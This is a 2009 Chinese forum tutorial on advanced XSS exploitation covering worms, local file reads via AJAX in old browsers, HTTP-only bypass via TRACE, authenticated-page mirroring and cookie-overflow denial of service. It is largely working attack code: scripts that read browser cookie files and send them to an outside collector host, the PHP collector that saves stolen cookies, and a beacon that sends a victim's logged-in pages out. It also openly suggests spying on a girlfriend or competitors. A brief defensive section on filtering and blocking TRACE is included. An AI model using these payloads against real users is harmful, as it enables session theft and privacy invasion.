XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

! I: G  f' m4 D) hXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
( ~) V/ ]* d. G$ ~7 ]+ I) Zhttp://bbs.tian6.com/thread-12711-1-1.html
: V+ V- ^: Z4 J转帖请保留版权


" W- W: T# G( I3 B3 l
% ]$ p4 x+ ^% ~  |9 n4 G$ h-------------------------------------------前言---------------------------------------------------------
5 F3 d5 R8 \2 g4 t

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
9 c/ V! m/ D+ ]$ z/ k9 Z4 R# p

% u- x, l" u' C( Q' {如果你还未具备基础XSS知识,以下几个文章建议拜读:
( N' {8 F% J. N; \! N7 t" uhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
. }" Q: i& ?, Y# A3 n1 E2 xhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
% B$ u" C) k. T


/ N: N' x! \# W: Y  X
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
- ]% C+ X' C6 X4 \2 i# u
* {" t+ j2 s3 `6 p% b希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
% N& r/ \4 z% l' p% }5 K
* A5 J  l6 ]( D$ ^; U如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
6 _! _5 J; e  t5 {# u
9 T! a3 u- F# W/ Q2 u2 vBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

' |2 t: \" p! ^8 [. \3 V: a..........
1 b8 U) g+ B( K复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

9 J0 M* G/ [" x3 Y3 t# ?

6 H, L. ~% w7 E) Y* {1 w" |6 T跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

- K  A) r* o- ^! m' s
8 U* v4 }5 X$ |% I  n. u; T
* P: {: `# i- `  N! U- I如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
( R5 r4 M7 Q# w3 j2 {7 Z8 x( S复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
3 s" V, U% g& D+ V8 M4 ?
- ?. i# \0 A0 C" O) c2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

  c  S3 P6 r1 V1 w  B) ^$ ^3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.

: G3 K* B' f5 f6 J

0 ~! ]/ h, }8 m% W$ l5 R9 D1 t------------------------------------------研究正题----------------------------------------------------------
: @4 [- y( F3 ?! `

+ J7 h$ I$ Y' c1 D& D- A
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
; D# o+ F# z9 E* T2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
5 H; O1 l0 S) m0 ?3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.

5 A& e- L! E3 L3 I9 e/ H  ~
# F8 W8 @  I1 F- x
; M( l# W$ O4 T$ ~

/ w; E9 Y# w: R) Y1 L* t- [. w(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
' W4 S( y: j- x$ c, O
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
; R  S6 m: D( B8 }' G


4 N  }+ Q% ?' o5 ?: D. h    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

( ?5 I; l) ?7 F7 }/ C$ i, v

; u9 \0 ?! z; u- l    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

. U0 n  l4 q) F" z0 [6 d! n: [
$ A5 z; R! a/ a1 D
  h) P, _2 H' q9 Z  `- f* I" Z, v: p    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
. y: X* b1 ~0 l4 u# ?  \% N
    function $(x){return document.getElementById(x)}
( a$ I' K3 b' f: E

  u8 b7 M  |5 L! k9 w
" Z# i1 Z  x. ^' V: E) Q0 q! f    function ajax_obj(){
" i$ z6 J" ^7 e+ a1 J" M
, c7 N+ \8 U4 A6 r3 i2 z! t6 y# a    var request = false;

    if(window.XMLHttpRequest) {
- f7 ^7 @% J4 s( q" }2 `, {  ~
7 L, g4 X6 E& t    request = new XMLHttpRequest();
1 t+ k- {( R4 Z
    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



7 L; c" b$ b! j    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

' M- l2 o/ K' @+ ?: M% B* V* P    for(var i=0; i<versions.length; i++) {

1 d) P8 B$ E: X# O    try {
" Y) x! O& w3 o
    request = new ActiveXObject(versions);
0 k" u0 X. t' ?- ?; r1 ^
  N, ]' q& c' I5 }    } catch(e) {}
* [2 z) f! v: j) c. X9 ?5 U
- T! |& x; a8 V9 I    }

; N2 u' Y. s; T" B' N. b/ q5 i    }
+ i4 S2 S4 O  B5 B
    return request;
6 N; f6 I( K: G
    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){
7 {8 h1 Y. s8 D3 p; T4 ?
8 U' B1 h; K4 |+ p; \* u9 W    _x.open(_m,action,false);
' \, K7 ], T+ j
' u% ], S( I- V' E5 H7 ^5 p9 M    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
! m% A( O' ]  U5 u% K3 p
; g8 m8 N8 I0 f+ D" R8 @6 z9 J    _x.send(argv);
7 _9 O' w) z% c0 B
% N" K) O' I( {    return _x.responseText;

' r. T. I5 T3 w    }



    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
' }: x" P* E6 @: ]) p' T7 S9 W
    alert(txt);
8 p# R( w' ?* D# M: w9 z9 L/ I
% l- U8 H0 F& ^" ]
% d8 n1 D! V  A% x( c, c7 n+ {  u# B! Q
1 l/ S: C. ^" h5 T' Z4 u; U# R9 g    </script>
5 V$ ~' l( G0 I9 ]复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}


$ M7 d4 j9 t7 Q
    function ajax_obj(){
1 ~) A# _1 g& @4 B1 k! g
    var request = false;

    if(window.XMLHttpRequest) {

8 _1 x% q7 q9 z: Y! }    request = new XMLHttpRequest();
* @1 e9 }$ I$ `) ]0 f! \
% ?- X5 g' l/ i    } else if(window.ActiveXObject) {
8 [$ x8 a" l2 N- K0 C
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


& j8 F' k. r* T$ X' K# i
  o% ]* t% C; L( w    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

  o* Z: U! `% Q    for(var i=0; i<versions.length; i++) {

' ~* X+ Y$ G. v    try {

" C" d6 B6 I* Y) b    request = new ActiveXObject(versions);
; k. d1 \; {( ^
0 @' q7 H* P+ w9 g    } catch(e) {}

7 [) ]7 i. H; G8 y/ [7 h    }
  Z3 `" `  E+ V4 ?2 @) @
: v# [! u, t; F5 t" g" X- Q    }

    return request;

9 R) o3 ^" Y. D: _" d& i    }

! T- ]+ K, I7 w, Y2 ~    var _x = ajax_obj();
" i; q* A$ }' r) G
    function _7or3(_m,action,argv){
0 E9 L* E( _# J- {3 L0 L; t' \  ?
    _x.open(_m,action,false);
( ?" b7 c2 I- _- B* h/ U6 Z" b
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ r  _0 m3 D  t4 Y  `
    _x.send(argv);
0 F$ @% }$ k; `) x- d
  G6 ^+ p% q' K; o2 I    return _x.responseText;

    }

! G1 C2 n$ X6 d1 s

* w1 M: @5 f- f; l+ v. H" x& W    var txt=_7or3("GET","1/11.txt",null);

8 i( X% c0 X/ I    alert(txt);



    </script>
7 N& t. B# }4 a+ B2 q  u% h复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
$ n! v  M( F! S2 ~3 _1 h& l
2 p7 p) Z! U0 L4 I
/ d7 N4 k; h0 N) ~" X2 B
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



<?   

) ^8 i. `7 v( l# s0 d' A/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
" @2 x$ ]8 M0 D2 K! w( w; _
     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
, p1 S" f* W, f- \; [3 F4 F
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
: V* x7 a3 c$ S8 M4 \
7 o, o- a$ K* |0 A! F& e*/  

8 A* I! d2 ?* A: X& sheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
. y' }; g( ]' A! X, g4 t3 ^0 Y( }
3 ]4 r4 h& i8 g3 W/*  

     set header, so just download html file,and open it at local.  

*/  

?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
4 E% T8 q3 k! C, H6 H1 c/ d& Z
, ^- H0 v4 ]8 q" s5 d( ^. Y! ?& g7 f     <input id="input" name="cookie" value="" type="hidden">   
. |1 q/ p/ f. d7 v3 Z
</form>   

<script>   

function doMyAjax(user)   
9 e7 @4 h4 h& e0 C; R7 R7 B" H7 @: l
{   
- G5 F" Z3 B8 }( ]! |
( W" y2 _8 J' ]/ Hvar time = Math.random();   

/*  

& i& M$ B( T( Z$ q$ f2 ^the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
7 c$ ]/ k( H" G- S
2 h9 \" n8 d$ @! N0 C. D0 oand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
$ v+ @, U- f# L8 t7 Y$ @$ i
/ z( `' u. Y9 a9 q* ~/ o$ j$ Eand so on...  

*/  
/ q/ s' t" H9 W
! l% C  J* E$ a6 Evar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
2 f6 B4 P. `! |' Q; y
- u7 q" e, i0 D   
1 x* Z9 G7 J  K: F: c
startRequest(strPer);   
! M0 P; f- X- w' h* ]# s
2 o! p# k7 e4 B/ P
5 I$ i8 Z4 ^2 V. e7 `' f
3 Q9 l* p$ c4 s0 q}   

  L7 B+ e4 f' ~% N   
8 M9 J2 r" }9 y" l
1 ~; i7 Y0 T: H& k' Efunction Enshellcode(txt)   

{   
2 _1 e' w: b4 W2 M4 x2 y3 O
9 O% J/ }4 m7 {4 T' yvar url=new String(txt);   
2 d4 T4 m. u: i3 u7 c7 O7 E" D
+ {; Q1 Y  K' t- r. I/ evar i=0,l=0,k=0,curl="";   

l= url.length;   
+ k: T" Z' P& ]7 ^: c
1 C6 a5 D) T1 _1 [' G1 S  z& |for(;i<l;i++){   

k=url.charCodeAt(i);   
) y/ x, g6 h3 [  ^+ N/ I6 p
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
! \7 ^, M) q) }  a% @' V
" L+ V+ J( D$ j; _7 q$ R1 U! yreturn curl;   

! n% w" h% A# a9 x}   
. ]+ K8 K$ n! _% T! |
4 \1 ?& U2 W5 |1 L( }   

# H! d% `$ E3 z; g! `; p; r( V   
2 H' e2 J5 g5 t2 u7 S# p
* {( B' `1 J: l' v7 Jvar xmlHttp;   
0 \) O9 e* i& j  u& |% W) d8 s5 N
- v* q7 a5 U9 r# ^function createXMLHttp(){   
5 V" a! \0 f( F1 b5 W/ ~' f5 w9 O
6 l& D% }: t' A( Y' ?6 `8 Z7 `! C     if(window.XMLHttpRequest){   

; P- [) ~1 y5 s- z8 b, o* R$ WxmlHttp = new XMLHttpRequest();           
  }4 ]' D4 r+ C
     }   
9 F+ B4 M) X; e7 p* o2 y. r
     else if(window.ActiveXObject){   

5 n. H' N: ^) K  T9 W2 UxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
7 U( z1 w! S; `$ Y3 J4 Q) }
6 W# g! ~( m5 y/ ?     }   

0 |' V5 n( I; [}   
) W7 l' y: [( p
+ X% ?* o7 C# b2 L   

$ _+ d& h, M+ q+ ~" t9 a* Zfunction startRequest(doUrl){   

   

     createXMLHttp();   
8 r9 }6 R/ _6 \( ]4 I
' I! v/ j4 V% a6 A& M7 g' {8 d
: K3 w9 u2 \& \" M; U
     xmlHttp.onreadystatechange = handleStateChange;   
, w" I4 I5 D( [: ^2 @

  r, l6 D6 M, f
     xmlHttp.open("GET", doUrl, true);   
! |3 G  `$ C0 \! Q6 d


     xmlHttp.send(null);   
) @+ P* y+ ?! E5 f% D) o/ B
! P  w2 P( O3 ^- u7 ]  {
5 o3 _" l9 V7 u6 b6 B' j- Q


0 C8 U2 f$ G" A: Z+ ]0 z6 O}   

   
: ^& M6 x) r; [; E* j; o
function handleStateChange(){   
0 I* j( y  _1 S, {# Y
     if (xmlHttp.readyState == 4 ){   

0 i% i5 b: j7 A3 H! @; M     var strResponse = "";   
2 v$ Z# {; N0 N
1 C" j& F1 Y4 V  U& M     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
9 _+ G6 y/ k, h( V6 g' R% a
        
, T6 k- z# f0 m" q
     }   

- G" M/ x9 J8 ]7 B6 ~9 r# ~}   

   

3 w$ _% C/ p! H, e- o+ E1 d+ O   

function framekxlzxPost(text)   

{   

. k6 ~/ X3 A& i* _! H. }! @     document.getElementById("input").value = Enshellcode(text);   

  Z$ J( v4 x8 y6 b0 C2 p     document.getElementById("form").submit();   

}   

3 C/ o5 |! c$ [  w% g   

0 U1 S  p. ^: D, e( B7 G  h3 R6 U% j) a0 qdoMyAjax("administrator");   
6 T6 j; ~1 [( }) I  \
   
- E  Q( O" A  D7 P" W% O! c
/ X5 ~; v1 b  t7 Q; ~4 ]/ U</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  
1 Q2 n+ x: f3 X3 q' k
+ N5 k' Q) W4 O+ j2 M' |: |function createXMLHttp(){  
( |# S( X) R- N* J' ?' t
% b/ w# w( _" n8 S, Z     if(window.XMLHttpRequest){  
( k$ Q; w5 q! R* c9 @! P7 l1 X  E( `, Z3 C
$ Z+ y( J* M' H+ q% [$ ]! V& |- K         xmlHttp = new XMLHttpRequest();         

     }  

     else if(window.ActiveXObject){  
2 m3 Z3 X( G( y4 ~7 i) G$ J$ k
7 N; K, j' Z- S, @9 o         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
# H: o7 w! R% N1 y8 C
$ J4 r& E- s. U- h     }  
( C/ f# y1 e* ^! B% Q' m6 q
}  
+ F1 ?  P3 J% g- f. ~; R3 }
! x1 a- q8 y& ?5 ?8 y6 N   
- N" f( f  J7 ?/ u) X' P
function startRequest(doUrl){  

           
7 z- @  k; [! s; r7 Z+ W9 p
     createXMLHttp();  
+ @6 h# ^6 i; K5 ^7 a1 ?0 i. V# K
, m- A; j7 P- v' Y6 P' Z$ ]      
. m5 s- H' ]; K2 I
1 V- [0 W9 ^6 W9 Z! l     xmlHttp.onreadystatechange = handleStateChange;  
9 z& v) b. H* `8 f: U7 A; ~
      

; e9 g# b/ q* S( t3 q6 {/ `     xmlHttp.open("GET", doUrl, true);  
& c3 _1 q% Q/ e. l9 X! o
: M, N" L" F  n! R      

     xmlHttp.send(null);  

      

      
9 H* D; ^8 E9 m8 L+ \
. k$ D; X7 f, h% K2 g}   
! {$ Z" |: F9 r
, v5 y0 H+ t* L3 \/ m   

function handleStateChange(){  
4 E- i$ n2 c. ^9 `9 ~
! ]5 R* V1 y8 {( ]: R9 p     if (xmlHttp.readyState == 4 ){  
0 v7 ^, b3 n9 i
             var strResponse = "";  
# ?4 w1 L& b& R7 U( O0 m) z1 j
( v' t6 d7 g1 [$ A9 D             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

* H2 r7 ]) l' g$ Y4 K               
* q2 I+ \9 }6 A
     }  

}  

% Z+ `, g$ l7 ?. y- P% w   
( f* q1 O' h& v( Z  d
+ k: z8 x+ f! T9 b  C: w  G" Cfunction doMyAjax(user,file)  
. X2 G! q0 K( B6 I. E6 g5 L: ]7 x3 u  ?
6 O5 X6 [) M4 P) n  K{  
% i* h' {8 b5 A( Q' g* c; @
         var time = Math.random();  
$ ^. @. K4 v; E( F
           
. m; z" c% f1 Y
: G& M' w: S: Y: w" U$ O4 o         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
+ u& [3 g; i2 `" z) d
5 `7 F+ a" n) H- c4 y           
0 I! K* p- N2 d+ Q5 V
. T. y/ q4 b; h. W  X! a         startRequest(strPer);  
  Q  l: o2 |: |  A: L, z
      
8 N" Q# V+ K5 G0 |6 V
}  

: K$ J% v& }; h; k4 {   

* \% D  ?7 J+ T" I8 bfunction framekxlzxPost(text)  

! a) M5 [9 Z* o1 m' o* |: k{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
) A. v6 O2 Q; c5 S0 _6 G9 D% ?
     alert(/ok/);  
1 Q6 [: f3 _$ r( }- q; _
( D+ C1 |# p- P- U0 Y6 H+ n0 y}  

8 u0 u$ p2 ?9 s, W2 c& C   

doMyAjax('administrator','administrator@alibaba[1].txt');  

' I4 [  m$ |* @6 G; C, C   
. b/ q) ]0 p3 ~! x- N! m4 B- d
</script>



3 J4 t" R) {6 p' h2 H) P* ~8 K
! L; a+ q) \1 ^. u9 x- ]
a.php
4 F& a8 u1 s/ u. t& x% R% x/ Z
0 N) u* Y) S3 P, ^0 S
- C' L7 Z* E, o+ C4 I4 [8 t
<?php      
  }5 W6 n4 s" y5 w
: I3 X5 \! H2 a9 e   
" X5 j% L) K0 h( L" u2 E' d" r
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
+ |# X  F' l9 d2 H/ |5 ]' S
9 f6 W. K* X+ v5 J2 x, J$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
6 I7 P' c7 J. Y8 F0 E6 o
/ H  Y$ W9 X# @/ Y* Efwrite($fp,$_GET["cookie"]);      

+ @( P) W, E% C) n6 ]fclose($fp);   

1 U5 l( H) k- S2 `3 a?>
1 Q' p# I- ~, O复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
1 k% @1 n3 y% j6 O
( I$ }0 N  u4 s6 S, n; n6 l或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
0 D. d* ]) q2 D' }" v! D3 e- F: E利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
; a# b; m# H! G$ E1 p0 M$ X! m
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
  b% h& L& S2 w. N# ~
6 u2 ?3 [! h; U0 R8 m3 J//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
# B; g& g* z3 o% q
6 @6 o( W& R+ X. l//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
0 B0 d2 a. [2 t) G
function getURL(s) {

: i0 Q; @5 G; b1 O/ Jvar image = new Image();
) v, F% O2 j2 h
image.style.width = 0;
/ Y7 c! t1 w1 M8 h; o
image.style.height = 0;
# p  Z0 E  E- u$ i
2 P' P4 q3 {$ x% Vimage.src = s;

}

3 {: x  e: J/ T7 w7 z2 S: m- NgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
$ V4 P' j! w4 G- p$ o  \复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
9 }* l. |' A) N8 M$ ?这里引用大风的一段简单代码:<script language="javascript">

3 E3 J6 L( Z  k% K( E& H9 Cvar metastr = "AAAAAAAAAA"; // 10 A
; R6 ?% \* Z0 u9 U: I, s
var str = "";
( P' D; e* Z  @5 u2 k) \
% s. S+ Q; e, k' Y# {$ }; zwhile (str.length < 4000){
: N' }5 K8 C( j. T8 [
/ U: x4 S$ U1 p) m    str += metastr;

}

. Q$ [8 K- u' X- i' v, X  G" g- |
5 Q- D; L7 H% c2 G  t+ y
" U( E1 r9 i. X" K, ]document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

3 w! ]3 H8 s. y+ o. S</script>
+ e. x2 o1 b; Q8 Q( O  r8 P3 i
2 T6 F" q1 O' G# K6 s详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
; t7 F" J5 L: S8 J$ e( u  P5 Y9 t复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
$ [0 x; ^6 d* f6 @server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

: X2 J8 A. I$ k$ W( M2 L假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
: i, M9 l7 V( J' p; J5 G



, B) c# \: I7 T7 W! E3 a

(III) Http only bypass 与 补救对策:
9 V1 x7 c' D2 |/ \* J! ?0 N$ g
  W* D" g% Z$ ?% ?4 Y什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
; }0 F: U) Q7 ]6 A9 O以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
. W! p# l0 x6 V9 v4 \7 W4 {0 @
<!--

: o0 G( F5 E  F# z0 Zfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
. ]* Z. z( v/ Q
alert(document.cookie);

}
& q7 k" R& z$ t

* A+ l5 i* d+ c' f, ]
+ Y0 o  [0 ?' G3 z( Y. S; \8 c: u
7 G" k; o9 `0 s. j/ e: s
function httpOnlyCookie() {
5 M+ x/ Y& M7 W0 x1 n, ?
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}



1 K+ J$ R6 F: O1 T0 s! _) x//-->
& B0 k# V; y2 Q* m
" ~4 X5 c# m/ i* Z7 C# S</script>
( J1 [  i  L0 [4 ?% y

! E( u$ z* c% }# s1 ^
' v3 `3 M; j2 B  Z) z8 ?+ N8 V<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

1 h) B2 J- z; Z2 K$ O2 m6 m<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
1 B$ |9 y3 [* w: S; t7 p* T  X2 q复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



var request = false;
! b% x% c8 Q: R0 {5 f6 f; Z
        if(window.XMLHttpRequest) {
+ ^' C, K8 m: N
! ^' G0 F8 K5 a" l6 B            request = new XMLHttpRequest();

            if(request.overrideMimeType) {

4 k4 b; H4 L8 e( A+ Y7 m2 ]2 \                request.overrideMimeType('text/xml');

( I, j6 }' o# |            }
2 F! @% j- y& U' m: ?
        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
4 m1 e0 F- t2 P- p1 x8 D- P% s
0 {2 @- _) U$ _1 m' l7 T% p! ^7 G9 L            for(var i=0; i<versions.length; i++) {

                try {
' V- M( E9 `* ?* V, ^
. u/ f* R" Z' R/ `# e7 ]                    request = new ActiveXObject(versions);
2 u: y+ \2 v( ]) w6 I+ B
                } catch(e) {}
3 r9 s1 V! }5 p1 r) h9 u! T
            }
+ q- _$ D, Y9 l- w6 \3 {$ N/ a
        }

+ t6 g/ ^6 L% yxmlHttp=request;
, S* |! z+ j  R1 h1 Q
xmlHttp.open("TRACE","http://www.vul.com",false);

6 w7 s+ G4 h3 BxmlHttp.send(null);
: G3 U5 P8 `- E' |) v: K
6 K4 P" {4 I  E/ L9 GxmlDoc=xmlHttp.responseText;

alert(xmlDoc);

( |  G, X3 t& o+ ^+ Z! D7 X, a( g</script>
1 X8 t6 J$ `) W1 V复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

# [+ K, a4 C$ v+ ~0 Y- zXmlHttp.open("GET","http://www.google.com",false);
, p7 t7 _5 ]; ]: c' k+ n
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
0 s3 r' P, Q1 w2 N: D6 j3 T/ E9 f$ X8 c0 X$ E
var resource=xmlHttp.responseText

resource.search(/cookies/);

......................
. z$ y, L3 S& I& x% T
</script>
$ F$ m/ l* n$ r0 v) ]  p

2 X' Y( D% }2 D) k! e8 T1 A5 ^+ F* t, w; M
# Q0 \7 {* J0 q; V3 P9 z" Q' F

- F/ s- H. f  G如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
- t8 A' U6 w5 u2 e) D0 ~, r
* Z/ T1 x; B! O  k[code]
/ g. j( ~) K! s* _' X; M$ Z
/ o& }- {2 y: H9 o, g6 t6 dRewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

2 R0 n8 g" E. W  s5 f6 }RewriteRule .* - [F]


